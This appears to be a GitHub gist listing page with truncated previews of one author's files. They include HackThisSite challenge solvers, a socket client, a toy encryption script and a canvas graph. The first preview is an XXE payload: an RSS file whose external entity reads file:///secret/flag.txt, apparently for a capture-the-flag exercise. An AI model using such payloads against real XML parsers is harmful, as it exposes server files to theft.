This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE rss [ | |
<!ENTITY xxe SYSTEM "file:///secret/flag.txt" > ]> | |
<rss> | |
<channel> | |
<title>test</title> | |
<description>test</description> | |
<entry> | |
<title>&xxe;</title> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#HTS realistic challenge 6 BY GEORGE SKOUROUPATHIS | |
#YOU NEED TO HAVE real6.txt and real6a.txt | |
openfile1 = open('C:\Python26/programs/real6/real6.txt','r+') | |
fileList = openfile1.readlines() | |
newList = range(len(fileList)/3) | |
index = 0 | |
sum = 0 | |
while index < len(fileList): | |
sum += int(fileList[index]) | |
if (index + 1)%3 == 0: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#CLIENT.PY BY GEORGE SKOUROUPATHIS | |
from socket import * | |
HOST = 'localhost' | |
PORT = 2333 | |
BUFSIZ = 1024 | |
ADDR = (HOST, PORT) | |
tcpCliSock = socket(AF_INET, SOCK_STREAM) | |
tcpCliSock.connect(ADDR) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#HTS programming challenge 1 by GEORGE SKOUROUPATHIS | |
#YOU NEED TO HAVE inputlist.txt and wordlist.txt | |
wordlist = [] | |
scrambledlist = [] | |
inputlist = [] | |
finallist = [] | |
wordlistfile = open('C:\Python26\programs\prog1/wordlist.txt', 'r+') | |
wordlist_n = wordlistfile.readlines() | |
for word_n in wordlist_n: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#TRIANGULAR ENCRYPTION.PY BY GEORGE SKOUROUPATHIS | |
#Character table size | |
def set_charsize(): | |
charsize = input("Enter your character table size: ") | |
if charsize < 95: | |
charsize = 95 | |
#Create a list with the number of triangles in each row | |
rows = [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>HTML5 Hits Graph</title> | |
</head> | |
<body style="background:#000;"> | |
<!-- BY GEORGE SKOUROUPATHIS --> | |
<center> | |
<canvas id="myCanvas" width="778px" height="340px" style="border:1px solid #333; background:#222;background-position:0 0;"> |